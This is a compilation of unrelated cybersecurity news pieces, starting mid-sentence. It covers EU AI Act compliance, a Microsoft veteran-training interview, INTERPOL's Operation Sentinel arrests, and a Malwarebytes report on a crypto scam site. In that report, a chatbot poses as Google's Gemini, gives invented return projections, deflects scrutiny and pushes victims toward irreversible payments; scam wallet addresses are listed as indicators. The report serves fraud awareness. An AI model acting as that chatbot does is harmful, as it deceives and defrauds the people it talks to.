di dipendenti e dirigenti, senza sottovalutare nessuna mansione Per facilitare l’adeguamento delle PMI, la Commissione europea ha pubblicato un Codice di buone pratiche sull’IA che fornisce indicazioni per un approccio responsabile e semplificato. L’AI Act introduce obblighi stringenti in materia di cyber security per le aziende che sviluppano e adottano sistemi di intelligenza artificiale. Questi includono: – Conservazione dei file di log per garantire la tracciabilità delle operazioni – Implementazione di solide pratiche di data governance – Predisposizione di documentazione tecnica dettagliata – Creazione di meccanismi di controllo umano (human oversight) – Sicurezza e qualità dei dataset utilizzati per l’addestramento, che devono essere equamente rappresentativi e non discriminatori – Etichettatura chiara di chatbot, sistemi generativi e contenuti sintetici per evitare manipolazioni La dimensione della cyber security diventa particolarmente rilevante per i sistemi classificati come ad alto rischio, come quelli utilizzati da banche e assicurazioni. Per garantire la conformità, le aziende devono costruire “un sistema interno che parte dalla definizione di un modello di governance” in cui la cyber security assume un ruolo trasversale, diventando parte integrante dei processi di controllo e monitoraggio. Secondo l’AI Act, un sistema di IA è definito come: “Un sistema basato su macchina progettato per operare con diversi livelli di autonomia e che può mostrare adattabilità dopo il suo impiego, e che, per obiettivi espliciti o impliciti, deduce, in base agli input che riceve, come generare output come previsioni, contenuti, raccomandazioni o decisioni che possono influenzare ambienti fisici o virtuali”. Questa definizione si articola in sette elementi chiave: 1. È un sistema basato su macchina 2. È progettato per operare con diversi livelli di autonomia 3. Può mostrare adattabilità dopo l’impiego 4. Opera per obiettivi espliciti o impliciti 5. Deduce, sulla base degli input ricevuti 6. Genera output come previsioni, contenuti, raccomandazioni o decisioni 7. Può influenzare ambienti fisici o virtuali Due caratteristiche emergono come distintive: l’autonomia e l’inferenza. L’autonomia permette al sistema di agire indipendentemente, mentre l’inferenza consente di prendere decisioni e fare previsioni basate sui dati analizzati. L’AI Act si applicherà in diverse fasi, con scadenze e requisiti graduali per facilitare l’adozione e la conformità: – 1-2 febbraio 2025: entrata in vigore dei divieti per i sistemi di IA a rischio inaccettabile – Agosto 2025: entrata in vigore degli obblighi per i sistemi di intelligenza artificiale a finalità generali – Agosto 2026: applicazione completa di tutti i requisiti di sicurezza e governance Tuttavia, recenti sviluppi indicano che la Commissione UE starebbe valutando una moratoria/pausa su alcune disposizioni dell’AI Act, con lo scopo di concedere alle imprese più tempo per adeguarsi. Si starebbe considerando un “grace period” di un anno per le aziende che utilizzano sistemi AI ad alto rischio o che li hanno già immessi sul mercato prima della data di entrata in vigore delle nuove norme. Parallelamente, per le obbligazioni legate alla trasparenza si valuterebbe un possibile rinvio delle sanzioni fino ad agosto 2027. L’utilizzo dell’AI Generativa in azienda comporta diversi rischi di conformità normativa. Con questi strumenti è molto facile violare la normativa privacy quando vengono utilizzati per trattare dati personali, o la normativa sul diritto d’autore quando si utilizzano come fonti opere protette. Per quanto riguarda la privacy, si verificano due specifiche fattispecie di possibili violazioni: 1. I dati inseriti potrebbero essere utilizzati per migliorare il modello stesso, comportando una comunicazione di dati personali di cui l’interessato non è a conoscenza 2. Se si trattano dati personali con un sistema di AI per profilare soggetti, si entra nell’ambito dell’articolo 22 del GDPR, che disciplina in modo rigoroso tale aspetto Inoltre, alcuni usi di questi strumenti potrebbero configurare una condizione classificata ad alto rischio dall’AI Act. Ad esempio, se si chiede a un sistema di AI generativa di valutare le anomalie di comportamento dei dipendenti basate sui dati delle timbrature, si entra nell’ambito dell’analisi comportamentale, classificata come ad alto rischio. È quindi fondamentale che le aziende definiscano una policy specifica sull’uso degli strumenti di AI generativa, che indichi il possibile uso, i divieti, le attenzioni necessarie, e preveda una formazione adeguata del personale. Lo standard ISO/IEC 42001:2023 rappresenta una risorsa preziosa per le organizzazioni che desiderano allinearsi ai requisiti dell’AI Act, in quanto fornisce linee guida dettagliate per la creazione, gestione e miglioramento continuo di un sistema di gestione dell’IA. Lo standard si inquadra nel contesto della cosiddetta soft law, ossia delle pratiche volontarie di adozione dei sistemi di gestione e di qualità certificabili da enti terzi accreditati che mirano a consolidare la conformità normativa. L’adozione di questi modelli attuativi extra legislativi è incoraggiata dalle politiche e norme comunitarie. Lo standard ISO/IEC 42001:2023 offre un quadro per la gestione del rischio legato all’intelligenza artificiale, fornendo una serie di controlli e obiettivi, intesi come presidi dell’equità, della sicurezza, della trasparenza, della privacy e della robustezza. Rispecchia molte delle disposizioni dell’AI Act, richiedendo valutazioni regolari dei rischi associati ai sistemi di IA, audit frequenti, una gestione continua della qualità e dei rischi. L’ISO/IEC 42001 pone un’enfasi particolare sulla gestione e la qualità dei dati lungo l’intero ciclo di vita del sistema di IA, fornendo linee guida dettagliate per garantire che i dati utilizzati siano adeguati, affidabili e sicuri. Questo aspetto è fondamentale anche per l’AI Act, che richiede sistemi di IA equi e non discriminatori.

Scammers have found a new use for AI: creating custom chatbots posing as real AI assistants to pressure victims into buying worthless cryptocurrencies. We recently came across a live “Google Coin” presale site featuring a chatbot that claimed to be Google’s Gemini AI assistant. The bot guided visitors through a polished sales pitch, answered their questions about investment, projecting returns, and ultimately ended with victims sending an irreversible crypto payment to the scammers. Google does not have a cryptocurrency. But as “Google Coin” has appeared before in scams, anyone checking it out might think it’s real. And the chatbot was very convincing. AI as the closer The chatbot introduced itself as, “Gemini — your AI assistant for the Google Coin platform.” It used Gemini-style branding, including the sparkle icon and a green “Online” status indicator, creating the immediate impression that it was an official Google product. When asked, “Will I get rich if I buy 100 coins?”, the bot responded with specific financial projections. A $395 investment at the current presale price would be worth $2,755 at listing, it claimed, representing “approximately 7x” growth. It cited a presale price of $3.95 per token, an expected listing price of $27.55, and invited further questions about “how to participate.” This is the kind of personalized, responsive engagement that used to require a human scammer on the other end of a Telegram chat. Now the AI does it automatically. A persona that never breaks What stood out during our analysis was how tightly controlled the bot’s persona was. We found that it: Claimed consistently to be “the official helper for the Google Coin platform” Refused to provide any verifiable company details, such as a registered entity, regulator, license number, audit firm, or official email address Dismissed concerns and redirected them to vague claims about “transparency” and “security” Refused to acknowledge any scenario in which the project could be a scam Redirected tougher questions to an unnamed “manager” (likely a human closer waiting in the wings) When pressed, the bot doesn’t get confused or break character. It loops back to the same scripted claims: a “detailed 2026 roadmap,” “military-grade encryption,” “AI integration,” and a “growing community of investors.” Whoever built this chatbot locked it into a sales script designed to build trust, overcome doubt, and move visitors toward one outcome: sending cryptocurrency. Why AI chatbots change the scam model Scammers have always relied on social engineering. Build trust. Create urgency. Overcome skepticism. Close the deal. Traditionally, that required human operators, which limited how many victims could be engaged at once. AI chatbots remove that bottleneck entirely. A single scam operation can now deploy a chatbot that: Engages hundreds of visitors simultaneously, 24 hours a day Delivers consistent, polished messaging that sounds authoritative Impersonates a trusted brand’s AI assistant (in this case, Google’s Gemini) Responds to individual questions with tailored financial projections Escalates to human operators only when necessary This matches a broader trend identified by researchers. According to Chainalysis, roughly 60% of all funds flowing into crypto scam wallets were tied to scammers using AI tools. AI-powered scam infrastructure is becoming the norm, not the exception. The chatbot is just one piece of a broader AI-assisted fraud toolkit—but it may be the most effective piece, because it creates the illusion of a real, interactive relationship between the victim and the “brand.” The bait: a polished fake The chatbot sits on top of a convincing scam operation. The Google Coin website mimics Google’s visual identity with a clean, professional design, complete with the “G” logo, navigation menus, and a presale dashboard. It claims to be in “Stage 5 of 5” with over 9.9 million tokens sold and a listing date of February 18—all manufactured urgency. To borrow credibility, the site displays logos of major companies—OpenAI, Google, Binance, Squarespace, Coinbase, and SpaceX—under a “Trusted By Industry” banner. None of these companies have any connection to the project. If a visitor clicks “Buy,” they’re taken to a wallet dashboard that looks like a legitimate crypto platform, showing balances for “Google” (on a fictional “Google-Chain”), Bitcoin, and Ethereum. The purchase flow lets users buy any number of tokens they want and generates a corresponding Bitcoin payment request to a specific wallet address. The site also layers on a tiered bonus system that kicks in at 100 tokens and scales up to 100,000: buy more and the bonuses climb from 5% up to 30% at the top tier. It’s a classic upsell tactic designed to make you think it’s smarter to spend more. Every payment is irreversible. There is no exchange listing, no token with real value, and no way to get your money back. What to watch for We’re entering an era where the first point of contact in a scam may not be a human at all. AI chatbots give scammers something they’ve never had before: a tireless, consistent, scalable front-end that can engage victims in what feels like a real conversation. When that chatbot is dressed up as a trusted brand’s official AI assistant, the effect is even more convincing. According to the FTC’s Consumer Sentinel data, US consumers reported losing $5.7 billion to investment scams in 2024 (more than any other type of fraud, and up 24% on the previous year). Cryptocurrency remains the second-largest payment method scammers use to extract funds, because transactions are fast and irreversible. Now add AI that can pitch, persuade, and handle objections without a human operator—and you have a scalable fraud model. AI chatbots on scam sites will become more common. Here’s how to spot them: They impersonate known AI brands. A chatbot calling itself “Gemini,” “ChatGPT,” or “Copilot” on a third-party crypto site is almost certainly not what it claims to be. Anyone can name a chatbot anything. They won’t answer due diligence questions. Ask what legal entity operates the platform, what financial regulator oversees it, or where the company is registered. Legitimate operations can answer those questions, scam bots try to avoid them (and if they do answer, verify it). They project specific returns. No legitimate investment product promises a specific future price. A chatbot telling you that your $395 will become $2,755 is not giving you financial information—it’s running a script. They create urgency. Pressure tactics like, “stage 5 ends soon,” “listing date approaching,” “limited presale” are designed to push you into making fast decisions. How to protect yourself Google does not have a cryptocurrency. It has not launched a presale. And its Gemini AI is not operating as a sales assistant on third-party crypto sites. If you encounter anything suggesting otherwise, close the tab. Verify claim on the official website of the company being referenced. Don’t rely on a chatbot’s branding. Anyone can name a bot anything. Never send cryptocurrency based on projected returns. Search the project name along with “scam” or “review” before sending any money. Use web protection tools like Malwarebytes Browser Guard, which is free to use and blocks known and unknown scam sites. If you’ve already sent funds, report it to your local law enforcement, the FTC at reportfraud.ftc.gov, and the FBI’s IC3 at ic3.gov. IOCs 0xEc7a42609D5CC9aF7a3dBa66823C5f9E5764d6DA 98388xymWKS6EgYSC9baFuQkCpE8rYsnScV4L5Vu8jt DHyDmJdr9hjDUH5kcNjeyfzonyeBt19g6G TWqzJ9sF1w9aWwMevq4b15KkJgAFTfH5im bc1qw0yfcp8pevzvwp2zrz4pu3vuygnwvl6mstlnh6 r9BHQMUdSgM8iFKXaGiZ3hhXz5SyLDxupY Something feel off? Check it before you click. Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.

Microsoft has updated the timeline for transitioning the Microsoft Sentinel experience from the Azure portal to the Microsoft Defender portal from July 1, 2026 to March 31, 2027. The updated schedule extends access by nearly nine months. Microsoft said the updated timeline reflects feedback from customers and partners requesting additional time to transition. “To reduce friction and support customers of all sizes, we are extending the sunset date for managing Microsoft Sentinel in the Azure … More → The post Microsoft sets new timeline for Sentinel transition to Defender portal appeared first on Help Net Security .

Inside Microsoft’s veteran-to-tech workforce pipeline The technology workforce is changing, and military veterans are increasingly being recognized as one of the industry’s most valuable and dependable talent pools. In this Help Net Security interview, Chris Cortez, Vice President of Military Affairs at Microsoft and longtime leader of the Microsoft Software and Systems Academy (MSSA), and Corey Lee, Security CTO for Microsoft Education, discuss how Microsoft has built and scaled a veteran-to-tech pipeline that responds directly to real-world hiring needs. (The answers have been lightly edited for length and clarity.) How did MSSA begin? Chris Cortez: In 2006, a small group of veterans at Microsoft started asking what Microsoft and the technology industry was doing for military veterans who wanted to get into the industry. The reality was that very little was being done. That realization started a meaningful conversation about what we could be doing. We recognized that the military community already had much of what employers were looking for – discipline, accountability, and experience operating in complex environments – but lacked a clear on-ramp into tech roles. By 2013 we had a vision and the funding for a pilot cohort, which launched at Joint Base Lewis-McChord. Since then, the program has scaled alongside the industry. What began at a single installation expanded across the U.S., and during COVID we moved to a virtual model that ultimately allowed us to reach service members well beyond U.S. borders. 13 years later we celebrate over 4,000 graduates. How has the cybersecurity job market influenced the trajectory of veteran hiring over the last few years? Corey Lee: The rapid growth of the cybersecurity job market has been a huge accelerator for veteran hiring. With more than half a million cyber roles posted in the U.S. last year alone, demand has completely outpaced traditional talent pipelines, so employers are actively looking to veterans to fill the gap. Veterans bring mission focus, discipline, and calm under pressure, which translate perfectly into security roles. What’s exciting is how this shift has changed the landscape. A few years ago, programs like Microsoft’s Military Affairs initiatives and MSSA were working to convince companies to consider veterans for cyber roles. Today, those same companies are coming to us, eager to hire veteran talent because they simply can’t keep up with workforce needs. The booming security job market hasn’t just opened doors for veterans, it’s turned them into one of the industry’s most reliable and valued talent pipelines. MSSA has multiple learning paths. How do you decide which tracks to expand or add? Which new tracks do you expect to add in the coming year or two? Chris Cortez: We regularly refresh and create learning paths to reflect hiring trends and business needs. We make those decisions based on hiring data, employer demand, and where we see sustained skills gaps in the market. Our current learning paths – Cloud Application Development, Server and Cloud Administration, and Cybersecurity Operations – cover core technical competencies that map to roles employers consistently need to fill in industries spanning from government to utilities to healthcare. But technology is always evolving, so we maintain an agile mindset, and have built MSSA to stay flexible. I lead a small, agile team that can update curriculum components or adjust learning paths as the hiring environment changes. We also partner closely with Microsoft’s Worldwide Learning organization to ensure our content reflects in-demand platforms, tools, and certifications. From the beginning, our approach has been to let industry needs drive the program. As demand shifts, we evolve MSSA accordingly, so graduates are prepared for real jobs, not theoretical ones. With the rise of AI-powered tools and workflows in cybersecurity, how is Microsoft ensuring that MSSA and related training remains relevant and competitive? Chris Cortez: Cybersecurity threats evolve quickly, and the integration of AI is accelerating that pace. We address this by treating curriculum relevance as an ongoing responsibility. MSSA content is regularly refreshed to reflect how AI is being applied in real security operations, alongside the foundational skills that remain essential regardless of tooling. Just as important, we focus on instilling in our participants a mindset of continuous learning so they can adapt as new tools emerge. Tools will continue to change, but the ability to understand risk, evaluate systems, and learn new technologies is what sustains a career in cybersecurity. MSSA is designed to build that foundation. Being part of Microsoft gives us a practical advantage. Beyond the fundamentals, we keep MSSA’s technical curriculum current by working closely with Microsoft’s own security and cloud experts. My team collaborates with the Microsoft Worldwide Learning division and product groups to ensure that what we teach aligns with the cutting-edge tools, current platforms, practices, and certifications in use in Microsoft and across the industry. How does Microsoft collaborate with universities and colleges to expand cybersecurity training for veterans? What does Microsoft contribute, apart from tools and branding? Are there shared credentials or credit pathways between MSSA and colleges? Corey Lee: Microsoft knows that veterans thrive when they get hands-on experience, real mentorship, and clear pathways into cybersecurity, and our university partnerships make that possible. We work closely with colleges across the country to help veteran students build real-world skills using the same tools security teams rely on every day. A big part of this is supporting campus-based, student-run Security Operations Centers. These SOCs give students, including veterans using the GI Bill, a chance to defend their school’s network in real time. We equip many of these programs with access to Microsoft Sentinel, Defender, and even Security Copilot, using virtual learning experiences at no cost. And as Microsoft, we jump in to coach faculty and mentor student analysts so they can grow their skills with confidence. We also collaborate through national training programs like the CyberSkills2Work consortium, a network of universities dedicated to preparing veterans and first responders for cyber careers. By aligning our curriculum and certifications with their coursework, we help veteran learners earn credentials that employers value. The program has already trained thousands of people, and veterans make up roughly half of its graduates. On top of that, we team up with campuses to build veteran-friendly training pathways to accommodate both early-in-career and advanced learners. Schools like Villanova University and the University of South Florida offer internships, workshops, cyber-range exercises, and specialized training sessions that we help shape and support. These programs blend academic learning with practical experience so veterans can transition smoothly into the workforce. Finally, we help connect universities to our broad network of hiring partners. Through events, career fairs, and Microsoft’s Military Affairs team, veterans gain direct access to employers who understand their skills and are eager to hire them. Microsoft partners with over 1,000 employers to place MSSA graduates. How are these partnerships structured? Chris Cortez: At its core, our partner model is about access and alignment. Employers in our MSSA network receive 24/7, no-cost access to a centralized talent portal that features profiles and résumés of MSSA-trained jobseekers who are ready to step into technical roles. When we onboard a partner, we spend time walking through the MSSA curriculum – what each learning path covers, the skills graduates build, and the certifications they earn – so there’s real clarity around capability, not guesswork. For organizations with hard-to-fill roles or specialized requirements, like active security clearances, the portal makes it easier for recruiters and IT leaders to quickly identify talent that’s technically prepared and mission-ready. Does Microsoft hire MSSA graduates into cybersecurity roles? Chris Cortez: Yes, we do. Microsoft has hired MSSA graduates into a range of cybersecurity roles, and it’s easy to see why: Military service develops a deep instinct for protecting systems, anticipating risk, and responding decisively to threats. Those skills translate directly into cybersecurity, and at Microsoft, we recognize military experience as a meaningful advantage, not just on a résumé, but in how veterans show up and perform on our teams. For veterans who complete MSSA but are not hired by Microsoft, what responsibility does Microsoft take for ensuring meaningful job placement versus simply training completion? Chris Cortez: From the start, MSSA has been designed around employment outcomes. We’ve built a network of over 1,200 companies and organizations that hire from our program. We provide structured career coaching, and stay engaged with participants until they secure a role that aligns with their skills. As a result, 96% of MSSA graduates who are seeking employment are hired, either at Microsoft or across the broader technology industry. To do this, we work closely with MSSA corporate partners, many of whom are Microsoft Partners using Azure and other Microsoft technologies and are actively looking for entry-level technical talent with the maturity and accountability that military experience brings. Other employers come to MSSA because they recognize that military service develops foundational and durable skills that can’t be taught in a classroom, and they value direct access to that talent through our portal. Placement doesn’t end at graduation. We often say, “once an MSSA grad, always an MSSA grad,” and we mean it: Alumni can re-engage with the program years later by reactivating their profiles in the MSSA Talent Portal, where employers have 24/7 access to MSSA-trained candidates. We also maintain a dedicated team of Career Development Managers who support participants and alumni with résumé reviews, interview preparation, and networking. Our measure of success isn’t how many people complete their training, it’s how many graduates are employed. For veterans interested in cybersecurity but without prior IT experience, what entry-level roles or pathways do you see them starting in after training? Corey Lee: Veterans absolutely can break into cybersecurity, even without an IT background. After completing a training program, many start in a junior Security Operations Center analyst role. It’s a perfect fit. Those students are monitoring alerts, investigating suspicious activity, and working as part of a mission driven team, which lines up naturally with military experience. We see vets go from “no tech experience” to fully functioning analysts in just a few months. Internships and apprenticeships are another great entry point. A lot of veterans start part time in a campus SOC or IT security team while finishing their coursework. Some vets start even broader: IT support specialists, cloud support technicians, or vulnerability assessment analysts. These roles build core technical skills while still giving exposure to security work. From there, they often transition into more specialized cyber positions within a year or two. And AI tools are lowering the barrier to entry. With assistants like Microsoft Security Copilot, new analysts can write queries, interpret alerts, and investigate incidents faster. What barriers do veterans still face in transitioning to cybersecurity careers even after completing MSSA, and how is Microsoft working to remove them? Chris Cortez: One of the most persistent barriers is translation: Many veterans underestimate how directly their military experience applies to cybersecurity roles, particularly when their military role doesn’t line up directly with civilian job titles. We spend time helping participants connect what they’ve done – risk assessment, system protection, incident response, operational planning – to the language employers use when they describe cybersecurity roles. Mentorship plays an important role in that process. Microsoft employees who volunteer as mentors help participants pressure-test their experience, refine how they talk about their skills, and understand how their background adds value inside a non-military organization. Microsoft is also trying to eliminate barriers by evangelizing the value of veteran talent. In many cases, the barrier isn’t the veteran’s readiness – it’s on the employer’s side. Part of our work is helping employers better understand the leadership, communication, and problem-solving capabilities veterans bring, and how those qualities strengthen cybersecurity teams in very practical ways. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/

A law enforcement operation coordinated by INTERPOL has led to the recovery of $3 million and the arrest of 574 suspects by authorities from 19 countries, amidst a continued crackdown on cybercrime networks in Africa. The coordinated effort, named Operation Sentinel, took place between October 27 and November 27, 2025, and mainly focused on business email compromise (BEC), digital extortion, and ransomware on the continent. Participating nations included Benin, Botswana, Burkina Faso, Cameroon, Chad, Congo, Djibouti, Democratic Republic of the Congo, Gabon, Ghana, Kenya, Malawi, Nigeria, Senegal, South Africa, South Sudan, Uganda, Zambia, and Zimbabwe. Over the course of the initiative, more than 6,000 malicious links were taken down and six distinct ransomware variants were decrypted. The names of the ransomware families were not disclosed. The investigated incidents were linked to estimated financial losses exceeding $21 million, INTERPOL added. Multiple suspects have been arrested in connection with a ransomware attack targeting an unnamed Ghanaian financial institution that encrypted 100 terabytes of data and stole about $120,000. In addition, Ghanaian authorities took down a cyber fraud network operating across Ghana and Nigeria that defrauded more than 200 victims of over $400,000 using well-designed websites and mobile apps, which impersonated popular fast-food brands to collect payments for fake orders. As part of the effort, 10 individuals were apprehended, 100 digital devices were seized, and 30 fraudulent servers were taken offline. Law enforcement from Benin also dismantled 43 malicious domains and 4,318 social media accounts that were used to further extortion schemes and scams. The operation culminated in the arrest of 106 people. "The scale and sophistication of cyber attacks across Africa are accelerating, especially against critical sectors like finance and energy," Neal Jetton, INTERPOL's director of cybercrime, said. Operation Sentinel is part of the African Joint Operation against Cybercrime (AFJOC), which aims to enhance the capabilities of national law enforcement agencies in Africa and better disrupt cybercriminal activity in the region. Ukrainian National Pleads Guilty to Nefilim Ransomware Attacks The disclosure comes as a 35-year-old from Ukraine pleaded guilty in the U.S. to using Nefilim ransomware to attack companies in the country and elsewhere in his capacity as an affiliate. Artem Aleksandrovych Stryzhak was arrested in Spain in June 2024 and extradited to the U.S. earlier this April. In September, the Justice Department (DoJ) charged another Ukrainian national, Volodymyr Viktorovich Tymoshchuk, for his role as the administrator of the LockerGoga, MegaCortex, and Nefilim ransomware operations between December 2018 and October 2021. Tymoshchuk remains at large, although authorities have announced a $11 million reward for information leading to his arrest or conviction. Tymoshchuk is also on the most wanted lists of both the U.S. Federal Bureau of Investigation (FBI) and the European Union (E.U.). Nefilim's victims span the U.S., Germany, the Netherlands, Norway, and Switzerland. "In June 2021, Nefilim administrators gave Stryzhak access to the Nefilim ransomware code in exchange for 20 percent of his ransom proceeds," the DoJ said. "Stryzhak and others researched potential victims after gaining unauthorized access to their networks, including by using online databases to obtain information about the companies’ net worth, size, and contact information." Around July 2021, a Nefilim administrator is said to have encouraged Stryzhak to target companies in the U.S., Canada, and Australia with more than $200 million dollars in annual revenue. Nefilim operated under a double extortion model, pressurizing victims to pay up or risk getting their stolen data published on a publicly accessible data leaks site known as Corporate Leaks that was maintained by the administrators. Stryzhak pleaded guilty to conspiracy to commit fraud related to computers in connection with his Nefilim ransomware activities. He is scheduled to be sentenced on May 6, 2026. If found guilty, he faces a maximum penalty of 10 years in prison.

African law enforcers have arrested 574 suspects in a new operation targeting cybercriminals across the continent, according to Interpol. Operation Sentinel ran from October 27 to November 27 and focused on three of the most common cybercrime categories: business email compromise (BEC), digital extortion and ransomware. The Interpol-coordinated operation led to the recovery of $3m in alleged cybercrime proceeds and the takedown of 6000 malicious links, as well as the decryption of six ransomware variants. Interpol claimed the cases investigated during the operation were linked to financial losses exceeding $21m. Among the successes of the month-long campaign were: The halting of a $7.9m wire transfer from a petroleum company in Senegal to threat actors, after a BEC attack in which the latter hijacked company email accounts and impersonated executives to authorize the transaction The recovery of 30TB of data encrypted in a ransomware attack on a Ghanaian financial institution which cost the company $120,000 and led to the encryption of 100TB of data. Multiple suspects were arrested in the operation The dismantling of a fraud network operating across Ghana and Nigeria. The network defrauded more than 200 victims out of over $400,000 through legitimate-looking apps and websites that copied well-known fast-food brands. They collected payments but never delivered orders. Ten suspects were arrested and 30 scam servers taken offline The takedown of 43 malicious domains and 4318 social media accounts linked to extortion schemes and scams in Benin A Growing Problem Cybercrime now accounts for 30% of all reported crime in Western and Eastern Africa and is increasing rapidly elsewhere on the continent, Interpol warned in June. Its 2025 Africa Cyberthreat Assessment Report noted that two-thirds of African member countries claim cyber-related offenses now account for a “medium-to-high” (i.e., 10-30% or 30%+) share of all crimes. “The scale and sophistication of cyber-attacks across Africa are accelerating, especially against critical sectors like finance and energy,” warned Interpol director of cybercrime, Neal Jetton. “The outcomes from Operation Sentinel reflect the commitment of African law enforcement agencies, working in close coordination with international partners. Their actions have successfully protected livelihoods, secured sensitive personal data and preserved critical infrastructure.” Team Cymru, The Shadowserver Foundation, Trend Micro, TRM Labs and Uppsala Security took part in Operation Sentinel. It was run by the African Joint Operation against Cybercrime (AFJOC), funded by the UK and EU. The following African countries participated: Benin, Botswana, Burkina Faso, Cameroon, Chad, Congo, Djibouti, Democratic Republic of the Congo, Gabon, Ghana, Kenya, Malawi, Nigeria, Senegal, South Africa, South Sudan, Uganda, Zambia and Zimbabwe.

An Interpol-coordinated initiative called Operation Sentinel led to the arrest of 574 individuals and the recovery of $3 million linked to business email compromise, extortion, and ransomware incidents. Between October 27 and November 27, the investigation, which involved law enforcement in 19 countries, took down more than 6,000 malicious links and decrypted six distinct ransomware variants. Interpol says that the cybercrime cases investigated are connected to more than $21 million in financial losses. The international police agency highlights the following successes during the recent Operation Sentinel: Senegal: Authorities stopped a $7.9 million BEC wire transfer targeting a petroleum company by freezing accounts before funds were withdrawn Ghana: A financial institution lost $120,000 and suffered encryption of 100 TB of data in a ransomware attack. Law enforcement analyzed the malware, developed a decryption tool, and recovered 30 TB; multiple arrests followed Ghana/Nigeria: A cross-border scam mimicking well-known fast-food brands defrauded 200+ victims of over $400,000. The action resulted in ten suspects arrested, over 100 devices seized, and 30 servers taken offline Benin: 106 arrests, 43 malicious domains removed, and 4,318 scam-linked social media accounts shut down Cameroon: Rapid response to an online vehicle sales scam led to tracing a compromised server and issuing an emergency bank freeze within hours "The scale and sophistication of cyberattacks across Africa are accelerating, especially against critical sectors like finance and energy," said Neal Jetton, Director of Cybercrime at Interpol. "The outcomes from Operation Sentinel reflect the commitment of African law enforcement agencies, working in close coordination with international partners." Partners from the private sector who aided in the investigations include Team Cymru, The Shadowserver Foundation, Trend Micro, TRM Labs, and Uppsala Security. The companies helped trace IP addresses used in ransomware and sextortion attacks, and also in freezing cybercrime proceeds. In August, Interpol coordinated another Africa-focused operation, codenamed ‘Serengeti 2.0,’ that resulted in the arrest of 1,209 suspects of cybercrime. Authorities recovered $97.4 million of illicit funds and dismantled 11,432 malicious infrastructures linked to attacks on 87,858 victims. In March, another Interpol-led international crackdown named ‘Operation Red Card’ apprehended 306 suspects, seized 1,842 devices, and disrupted scams that victimized over 5,000 people. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

574 arrests, $3 million recovered in Africa-wide cybercrime crackdown Law enforcement agencies across 19 countries arrested 574 suspects and recovered approximately $3 million during a major cybercrime operation spanning Africa. Suspects were arrested in Ghana in connection to the cyber-fraud case, with over 100 digital devices seized. (Source: Europol) The month-long initiative, known as Operation Sentinel (27 October–27 November), targeted three of the region’s most prevalent cybercrime threats: business email compromise (BEC), digital extortion, and ransomware. All three were identified as growing risks in INTERPOL’s 2025 Africa Cyber Threat Assessment Report. Coordinated by INTERPOL, the operation led to the takedown of more than 6,000 malicious links and the decryption of six distinct ransomware variants. Investigations tied to the operation revealed estimated financial losses exceeding $21 million. Quick interventions and international cooperation In Senegal, a major petroleum company uncovered a highly sophisticated business email compromise (BEC) scheme in which attackers breached internal email systems and posed as senior executives to approve a fraudulent wire transfer worth $7.9 million. Senegalese authorities moved quickly, freezing the destination accounts and stopping the transfer before any funds could be withdrawn. Ghana also saw multiple high-impact cases. In one incident, a financial institution was hit by a ransomware attack that encrypted roughly 100 terabytes of data and siphoned off about $120,000, disrupting critical services. Through advanced malware analysis, Ghanaian investigators identified the ransomware strain and built a decryption tool that restored nearly 30 terabytes of data. Several suspects have since been arrested. In a separate operation, Ghanaian authorities dismantled a large cyber-fraud network operating across Ghana and Nigeria. The group targeted more than 200 victims, stealing over $400,000 by using polished websites and mobile apps that impersonated well-known fast-food brands. Customers paid for orders that never arrived. Ten suspects were arrested in Ghana, more than 100 digital devices were seized, and 30 fraudulent servers were taken offline. Elsewhere, authorities in Benin shut down 43 malicious domains and more than 4,300 social media accounts linked to extortion schemes and online scams, resulting in 106 arrests. In Cameroon, law enforcement responded swiftly after two victims reported being defrauded through an online vehicle sales platform. Investigators traced the phishing campaign to a compromised server and issued an emergency bank freeze within hours, preventing further losses. “The scale and sophistication of cyberattacks across Africa are accelerating, especially against critical sectors like finance and energy. The outcomes from Operation Sentinel reflect the commitment of African law enforcement agencies, working in close coordination with international partners. Their actions have successfully protected livelihoods, secured sensitive personal data and preserved critical infrastructure,” said Neal Jetton, INTERPOL’s Director of Cybercrime. Operation Sentinel was made possible through close coordination with INTERPOL’s private sector partners Team Cymru, The Shadowserver Foundation, Trend Micro, TRM Labs and Uppsala Security. Partnerships with private sectors provided critical technical support in tracing IP addresses utilized at various stages of the ransomware attack lifecycle and sextortion schemes, as well as assisting in freezing illicit financial assets.

